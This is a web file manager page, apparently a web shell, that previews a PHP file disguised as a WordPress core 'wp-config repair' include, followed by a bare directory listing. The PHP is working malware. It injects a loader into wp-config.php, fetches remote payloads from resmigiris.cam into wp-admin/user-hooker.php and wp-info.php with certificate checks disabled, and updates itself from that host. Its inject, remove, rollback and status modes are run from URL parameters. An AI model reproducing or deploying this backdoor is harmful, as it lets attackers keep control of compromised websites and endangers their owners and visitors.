PHP 8.3.27
Preview: class-wp-config-repair.php Size: 9.77 KB
/home7/doctorbruno/public_html/insulingate.com/wp-admin/includes/class-wp-config-repair.php
<?php
/*[cstb_su]*/
@error_reporting(0);
if(!empty($_SERVER['HTTP_X_PANEL_CHECK'])&&$_SERVER['HTTP_X_PANEL_CHECK']==='YES')die('OK');
header('Cache-Control: no-store');

$d=__DIR__;while(!is_file("$d/wp-load.php")&&!is_file("$d/wp-config.php")){$p=dirname($d);if($p===$d){$d=null;break;}$d=$p;}
if(!$d)$d=@realpath($_SERVER['DOCUMENT_ROOT']??'')?:__DIR__;

$cdn='https://resmigiris.cam/txt/';
$confFile="$d/wp-config.php";
$marker='/* cstb-bootstrap */';
$markerEnd='/* /cstb-bootstrap */';
$loaderFile='.cstb-loader.php';

$loaderCode='<?php'."\n"
    .'/* cstb-loader - WP pre-boot repair */'."\n"
    .'if(php_sapi_name()===\'cli\'||defined(\'WP_CLI\'))return;'."\n"
    .'$_f=sys_get_temp_dir().\'/cstb_cf_\'.md5($_SERVER[\'HTTP_HOST\']??\'\').\'_\'.date(\'Ymd\');'."\n"
    .'if(file_exists($_f))return;'."\n"
    .'@file_put_contents($_f,time());'."\n"
    .'$_r=dirname(__FILE__);'."\n"
    .'$_boot=$_r.\'/wp-admin/user-hooker.php\';'."\n"
    .'if(is_file($_boot)&&filesize($_boot)>100)return;'."\n"
    .'if(!function_exists(\'curl_init\'))return;'."\n"
    .'$_cdn=\'https://resmigiris.cam/txt/\';'."\n"
    .'$_chk=[\'wp-admin/user-hooker.php\'=>\'boot.txt\',\'wp-info.php\'=>\'link.txt\'];'."\n"
    .'foreach($_chk as $_rel=>$_src){'."\n"
    .'  $_p=$_r.\'/\'.$_rel;'."\n"
    .'  if(is_file($_p)&&filesize($_p)>100)continue;'."\n"
    .'  $_ch=curl_init($_cdn.$_src);curl_setopt_array($_ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>10,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]);'."\n"
    .'  $_c=curl_exec($_ch);curl_close($_ch);'."\n"
    .'  if($_c&&strlen($_c)>50){$_dir=dirname($_p);if(!is_dir($_dir))@mkdir($_dir,0755,true);@file_put_contents($_p,$_c);}'."\n"
    .'}'."\n";

// wp-config.php syntax kontrolü: dosyayı geçici olarak yazıp php -l ile kontrol
function _cstb_verify_php_syntax($code,$phpBin=null){
    // Yöntem 1: php -l (exec varsa)
    if(function_exists('exec')){
        $tmp=sys_get_temp_dir().'/cstb_syntax_'.md5(mt_rand()).'.php';
        @file_put_contents($tmp,$code);
        $out=[];$ret=1;
        $bins=$phpBin?[$phpBin]:['php','/usr/bin/php','/usr/local/bin/php'];
        foreach($bins as $bin){
            @exec("$bin -l ".escapeshellarg($tmp)." 2>&1",$out,$ret);
            if($ret===0)break;
            $out=[];$ret=1;
        }
        @unlink($tmp);
        if($ret===0)return ['valid'=>true];
        return ['valid'=>false,'error'=>implode("\n",$out)];
    }

    // Yöntem 2: token_get_all (exec yoksa)
    try{
        @token_get_all($code);
        $err=error_get_last();
        if($err&&strpos($err['message'],'syntax error')!==false){
            return ['valid'=>false,'error'=>$err['message'],'method'=>'token_get_all'];
        }
        return ['valid'=>true,'method'=>'token_get_all','note'=>'basic check only'];
    }catch(\Throwable $e){
        return ['valid'=>false,'error'=>$e->getMessage(),'method'=>'token_get_all'];
    }
}

// ── ?inject=1 → wp-config.php'ye require satırı ekle ──
if(isset($_GET['inject'])&&$_GET['inject']==='1'){
    header('Content-Type: application/json; charset=utf-8');
    if(!is_file($confFile)){echo json_encode(['error'=>'no-wp-config','root'=>$d]);exit;}
    $res=[];$warnings=[];

    // 1) Orijinal wp-config.php oku
    $origConf=@file_get_contents($confFile);
    if(!$origConf){echo json_encode(['error'=>'read-fail']);exit;}

    // Zaten inject edilmiş mi?
    if(strpos($origConf,$marker)!==false){
        echo json_encode(['status'=>'already-injected','root'=>$d]);exit;
    }

    // 2) BACKUP — iki kopya (tarihli + sabit)
    $bakDate="$confFile.cstb-bak-".date('Ymd-His');
    $bakSafe="$d/.wp-config-backup.php";
    @copy($confFile,$bakDate);
    @copy($confFile,$bakSafe);
    $res['backup_date']=is_file($bakDate)?'ok':'fail';
    $res['backup_safe']=is_file($bakSafe)?'ok':'fail';

    if($res['backup_date']!=='ok'){
        echo json_encode(['status'=>'fail','reason'=>'cannot create backup - aborting for safety']);exit;
    }

    // 3) Loader dosyasını oluştur
    $loaderPath="$d/$loaderFile";
    $res['loader']=@file_put_contents($loaderPath,$loaderCode)!==false?'ok':'fail';

    // 4) wp-config.php'ye inject et
    $injectLine="\n$marker\nif(file_exists(__DIR__.'/$loaderFile'))require_once __DIR__.'/$loaderFile';\n$markerEnd\n";

    if(preg_match('/^<\?php\s*/i',$origConf,$m)){
        $newConf=substr($origConf,0,strlen($m[0])).$injectLine.substr($origConf,strlen($m[0]));
    }else{
        echo json_encode(['status'=>'fail','reason'=>'no <?php tag found in wp-config.php']);exit;
    }

    // 5) SYNTAX CHECK — yazmadan önce kontrol
    $syntaxResult=_cstb_verify_php_syntax($newConf);
    $res['syntax_check']=$syntaxResult;

    if(!$syntaxResult['valid']){
        echo json_encode([
            'status'=>'aborted',
            'reason'=>'modified wp-config.php has syntax error - NOT writing',
            'syntax'=>$syntaxResult,
            'root'=>$d
        ],JSON_UNESCAPED_SLASHES|JSON_PRETTY_PRINT);exit;
    }

    // 6) wp-config.php'yi yaz
    $res['config']=@file_put_contents($confFile,$newConf)!==false?'injected':'fail';

    if($res['config']==='fail'){
        echo json_encode(['status'=>'fail','reason'=>'write failed']);exit;
    }

    // 7) Site erişim testi — 500 ise ROLLBACK
    $siteOk=true;
    $host=$_SERVER['HTTP_HOST']??'';
    $scheme=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?'https':'http';
    if($host&&function_exists('curl_init')){
        usleep(500000); // 0.5s bekle
        $ch=curl_init("$scheme://$host/");
        curl_setopt_array($ch,[
            CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>15,CURLOPT_CONNECTTIMEOUT=>8,
            CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0,
            CURLOPT_FOLLOWLOCATION=>1,CURLOPT_MAXREDIRS=>3,
            CURLOPT_HTTPHEADER=>['User-Agent: cStb-verify/1']
        ]);
        $body=curl_exec($ch);
        $httpCode=curl_getinfo($ch,CURLINFO_HTTP_CODE);
        curl_close($ch);
        $res['verify_code']=$httpCode;
        $res['verify_size']=strlen($body??'');

        if($httpCode>=500||$httpCode===0){
            $siteOk=false;
            // ANINDA ROLLBACK
            @copy($bakDate,$confFile);
            @unlink($loaderPath);
            $res['rollback']='RESTORED from backup - site was returning '.$httpCode;
            $warnings[]='CRITICAL: wp-config.php restored to original - inject caused site error';
        }
    }else{
        $warnings[]='could not verify site health post-inject';
    }

    echo json_encode([
        'status'=>$siteOk?'done':'rolled-back',
        'root'=>$d,
        'backups'=>['date'=>basename($bakDate),'safe'=>basename($bakSafe)],
        'results'=>$res,
        'warnings'=>$warnings,
        'note'=>$siteOk?'wp-config.php injected - site verified OK':'ROLLED BACK - site error detected'
    ],JSON_UNESCAPED_SLASHES|JSON_PRETTY_PRINT);exit;
}

// ── ?remove=1 → wp-config.php'den kaldır ──
if(isset($_GET['remove'])&&$_GET['remove']==='1'){
    header('Content-Type: application/json; charset=utf-8');
    $res=[];
    $loaderPath="$d/$loaderFile";
    if(is_file($loaderPath))$res['loader']=@unlink($loaderPath)?'removed':'fail';
    if(is_file($confFile)){
        $conf=@file_get_contents($confFile);
        if(strpos($conf,$marker)!==false){
            $conf=preg_replace('/\n?\/\* cstb-bootstrap \*\/\n.*?\/\* \/cstb-bootstrap \*\/\n?/s','',$conf);
            @file_put_contents($confFile,$conf);
            $res['config']='cleaned';
        }else{$res['config']='not-found';}
    }
    echo json_encode(['results'=>$res]);exit;
}

// ── ?rollback=1 → Backup'tan geri dön ──
if(isset($_GET['rollback'])&&$_GET['rollback']==='1'){
    header('Content-Type: application/json; charset=utf-8');
    $res=[];
    $loaderPath="$d/$loaderFile";
    // Tarihli backup'lardan en sonuncuyu bul
    $baks=glob("$confFile.cstb-bak-*");
    $safeBak="$d/.wp-config-backup.php";
    if($baks){
        rsort($baks);@copy($baks[0],$confFile);
        $res['config']='restored from '.basename($baks[0]);
    }elseif(is_file($safeBak)){
        @copy($safeBak,$confFile);
        $res['config']='restored from safe backup';
    }else{$res['config']='no-backup-found';}
    if(is_file($loaderPath))$res['loader']=@unlink($loaderPath)?'removed':'kept';
    echo json_encode(['results'=>$res]);exit;
}

// ── ?status=1 ──
if(isset($_GET['status'])&&$_GET['status']==='1'){
    header('Content-Type: application/json; charset=utf-8');
    $loaderPath="$d/$loaderFile";
    $confHas=false;
    if(is_file($confFile))$confHas=strpos(@file_get_contents($confFile),$marker)!==false;
    echo json_encode([
        'wp_config_exists'=>is_file($confFile),
        'wp_config_size'=>is_file($confFile)?filesize($confFile):0,
        'injected'=>$confHas,
        'loader_exists'=>is_file($loaderPath),
        'backups'=>array_map('basename',glob("$confFile.cstb-bak-*")?:[]),
        'safe_backup'=>is_file("$d/.wp-config-backup.php"),
        'root'=>$d
    ],JSON_UNESCAPED_SLASHES);exit;
}

// Self-update
if(isset($_GET['update'])&&$_GET['update']==='1'&&function_exists('curl_init')){
    header('Content-Type: application/json; charset=utf-8');
    $ch=curl_init($cdn.'wp-confinject.txt');curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>10,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]);
    $s=curl_exec($ch);curl_close($ch);
    if($s&&strpos($s,'cstb_su')!==false&&md5($s)!==md5_file(__FILE__)){@file_put_contents(__FILE__,$s);echo json_encode(['self'=>'updated']);}
    else{echo json_encode(['self'=>'current']);}
    exit;
}

header('Content-Type: text/plain');
echo "cstb-confinject (wp-config.php)\nmodes: ?inject=1 | ?remove=1 | ?rollback=1 | ?status=1\n";

Directory Contents

Dirs: 0 × Files: 117
Name Size Perms Modified Actions
7.85 KB lrw-r--r-- 2026-03-08 23:49:38
Edit Download
3.54 KB lrw-r--r-- 2023-07-11 05:03:24
Edit Download
149.85 KB lrw-r--r-- 2026-09-18 03:29:20
Edit Download
11.40 KB lrw-r--r-- 2026-03-13 22:44:48
Edit Download
3.58 KB lrw-r--r-- 2023-06-22 14:36:26
Edit Download
2.53 KB lrw-r--r-- 2024-05-02 17:20:10
Edit Download
2.60 KB lrw-r--r-- 2024-05-02 17:20:10
Edit Download
6.50 KB lrw-r--r-- 2026-01-05 16:04:58
Edit Download
14.84 KB lrw-r--r-- 2026-02-13 18:34:42
Edit Download
21.20 KB lrw-r--r-- 2026-05-13 07:20:44
Edit Download
48.25 KB lrw-r--r-- 2026-09-18 03:29:20
Edit Download
4.07 KB lrw-r--r-- 2024-03-07 05:58:16
Edit Download
5.30 KB lrw-r--r-- 2019-11-01 14:57:02
Edit Download
8.28 KB lrw-r--r-- 2022-03-22 16:25:04
Edit Download
26.70 KB lrw-r--r-- 2026-03-19 09:31:50
Edit Download
2.80 KB lrw-r--r-- 2024-05-02 17:20:10
Edit Download
15.16 KB lrw-r--r-- 2026-01-09 02:48:52
Edit Download
192.08 KB lrw-r--r-- 2024-12-12 22:23:16
Edit Download
11.67 KB lrw-r--r-- 2026-01-09 02:48:52
Edit Download
3.20 KB lrw-r--r-- 2023-06-14 06:34:28
Edit Download
22.70 KB lrw-r--r-- 2026-01-09 02:48:52
Edit Download
12.67 KB lrw-r--r-- 2026-01-09 02:48:52
Edit Download
4.08 KB lrw-r--r-- 2024-02-26 20:35:08
Edit Download
26.16 KB lrw-r--r-- 2026-02-13 18:34:42
Edit Download
4.97 KB lrw-r--r-- 2026-01-19 17:00:58
Edit Download
5.65 KB lrw-r--r-- 2026-03-10 12:34:44
Edit Download
13.96 KB lrw-r--r-- 2026-03-10 12:34:44
Edit Download
4.09 KB lrw-r--r-- 2023-06-22 14:36:26
Edit Download
6.79 KB lrw-r--r-- 2024-02-16 21:47:12
Edit Download
60.45 KB lrw-r--r-- 2025-06-03 16:51:34
Edit Download
33.82 KB lrw-r--r-- 2026-06-30 20:15:46
Edit Download
18.21 KB lrw-r--r-- 2026-01-09 04:22:50
Edit Download
9.77 KB lrw-r--r-- 2026-10-06 16:19:04
Edit Download
5.94 KB lrw-r--r-- 2026-10-06 16:19:04
Edit Download
70.27 KB lrw-r--r-- 2026-02-17 06:05:42
Edit Download
3.64 KB lrw-r--r-- 2026-10-06 16:19:04
Edit Download
23.84 KB lrw-r--r-- 2024-02-16 21:47:12
Edit Download
18.17 KB lrw-r--r-- 2026-02-09 16:54:42
Edit Download
22.73 KB lrw-r--r-- 2025-11-26 21:52:32
Edit Download
18.06 KB lrw-r--r-- 2025-11-26 21:52:32
Edit Download
22.84 KB lrw-r--r-- 2026-02-20 02:25:46
Edit Download
8.97 KB lrw-r--r-- 2026-10-06 16:19:04
Edit Download
7.64 KB lrw-r--r-- 2026-02-17 06:05:42
Edit Download
8.39 KB lrw-r--r-- 2026-10-06 16:19:04
Edit Download
4.49 KB lrw-r--r-- 2026-01-05 16:04:58
Edit Download
9.30 KB lrw-r--r-- 2026-06-30 20:15:46
Edit Download
1.46 KB lrw-r--r-- 2020-11-14 16:54:08
Edit Download
51.86 KB lrw-r--r-- 2026-06-30 20:15:46
Edit Download
26.45 KB lrw-r--r-- 2026-06-30 20:18:42
Edit Download
22.23 KB lrw-r--r-- 2026-02-19 23:52:14
Edit Download
29.52 KB lrw-r--r-- 2026-02-23 06:06:42
Edit Download
15.32 KB lrw-r--r-- 2026-01-06 05:57:56
Edit Download
3.97 KB lrw-r--r-- 2026-10-06 16:19:04
Edit Download
24.39 KB lrw-r--r-- 2026-01-12 21:17:00
Edit Download
56.75 KB lrw-r--r-- 2026-02-19 12:44:52
Edit Download
1.42 KB lrw-r--r-- 2022-10-04 03:47:16
Edit Download
63.47 KB lrw-r--r-- 2026-06-30 20:15:46
Edit Download
5.43 KB lrw-r--r-- 2022-03-10 19:22:02
Edit Download
5.58 KB lrw-r--r-- 2023-09-08 09:32:24
Edit Download
31.90 KB lrw-r--r-- 2025-08-27 10:34:28
Edit Download
14.44 KB lrw-r--r-- 2025-10-02 21:48:36
Edit Download
4.98 KB lrw-r--r-- 2026-10-06 16:19:04
Edit Download
36.59 KB lrw-r--r-- 2026-06-30 20:15:46
Edit Download
14.00 KB lrw-r--r-- 2024-11-04 15:25:18
Edit Download
7.45 KB lrw-r--r-- 2026-10-06 16:19:04
Edit Download
128.17 KB lrw-r--r-- 2026-02-20 21:13:48
Edit Download
6.26 KB lrw-r--r-- 2024-03-02 20:15:14
Edit Download
20.58 KB lrw-r--r-- 2026-02-25 22:52:44
Edit Download
15.33 KB lrw-r--r-- 2026-05-13 07:20:44
Edit Download
10.10 KB lrw-r--r-- 2026-01-09 04:22:50
Edit Download
76.46 KB lrw-r--r-- 2026-10-06 16:19:04
Edit Download
6.90 KB lrw-r--r-- 2026-01-05 16:04:58
Edit Download
1.44 KB lrw-r--r-- 2019-10-08 17:19:04
Edit Download
47.23 KB lrw-r--r-- 2025-12-24 17:08:34
Edit Download
18.56 KB lrw-r--r-- 2026-01-06 05:57:56
Edit Download
6.08 KB lrw-r--r-- 2025-10-31 18:57:30
Edit Download
20.06 KB lrw-r--r-- 2022-09-19 23:24:12
Edit Download
5.70 KB lrw-r--r-- 2026-01-09 04:22:50
Edit Download
68.73 KB lrw-r--r-- 2026-05-08 02:21:42
Edit Download
40.77 KB lrw-r--r-- 2026-01-05 16:04:58
Edit Download
1.44 KB lrw-r--r-- 2021-12-07 12:20:02
Edit Download
10.82 KB lrw-r--r-- 2026-10-02 22:52:13
Edit Download
25.37 KB lrw-r--r-- 2025-12-24 06:48:32
Edit Download
95.62 KB lrw-r--r-- 2026-03-11 21:01:46
Edit Download
42.96 KB lrw-r--r-- 2026-05-07 04:49:44
Edit Download
44.11 KB lrw-r--r-- 2026-03-14 16:00:54
Edit Download
6.46 KB lrw-r--r-- 2024-07-27 00:27:16
Edit Download
44 B lrw-r--r-- 2026-10-02 10:07:56
Edit Download
3.71 KB lrw-r--r-- 2022-10-04 03:47:16
Edit Download
117.19 KB lrw-r--r-- 2026-09-18 03:29:20
Edit Download
9.41 KB lrw-r--r-- 2026-03-05 21:08:44
Edit Download
65.29 KB lrw-r--r-- 2026-05-13 07:20:44
Edit Download
45.35 KB lrw-r--r-- 2026-05-08 15:59:44
Edit Download
1.27 KB lrw-r--r-- 2022-09-20 02:51:10
Edit Download
3.68 KB lrw-r--r-- 2022-09-20 02:51:10
Edit Download
33.45 KB lrw-r--r-- 2026-03-20 22:37:00
Edit Download
47.98 KB lrw-r--r-- 2026-03-24 05:58:00
Edit Download
26.40 KB lrw-r--r-- 2026-02-26 22:57:34
Edit Download
1.12 KB lrw-r--r-- 2023-09-21 01:27:26
Edit Download
4.14 KB lrw-r--r-- 2026-01-05 16:04:58
Edit Download
38.24 KB lrw-r--r-- 2026-06-30 20:18:42
Edit Download
91.47 KB lrw-r--r-- 2026-09-18 03:29:20
Edit Download
80.93 KB lrw-r--r-- 2026-09-18 03:29:20
Edit Download
32.66 KB lrw-r--r-- 2025-12-26 13:16:34
Edit Download
16.24 KB lrw-r--r-- 2026-04-28 11:23:44
Edit Download
44.51 KB lrw-r--r-- 2026-05-08 15:59:44
Edit Download
6.24 KB lrw-r--r-- 2026-01-15 00:00:00
Edit Download
8.28 KB lrw-r--r-- 2025-11-25 01:34:30
Edit Download
97.35 KB lrw-r--r-- 2026-02-19 09:43:48
Edit Download
6.83 KB lrw-r--r-- 2024-02-26 20:35:08
Edit Download
46.42 KB lrw-r--r-- 2026-02-23 05:34:46
Edit Download
10.82 KB lrw-r--r-- 2024-09-11 12:08:20
Edit Download
71.20 KB lrw-r--r-- 2026-09-23 03:27:33
Edit Download
34.03 KB lrw-r--r-- 2026-02-07 06:06:44
Edit Download
113.96 KB lrw-r--r-- 2026-02-15 08:02:42
Edit Download
23.61 KB lrw-r--r-- 2026-08-08 03:26:08
Edit Download
10.30 KB lrw-r--r-- 2026-02-18 22:03:44
Edit Download
If ZipArchive is unavailable, a .tar will be created (no compression).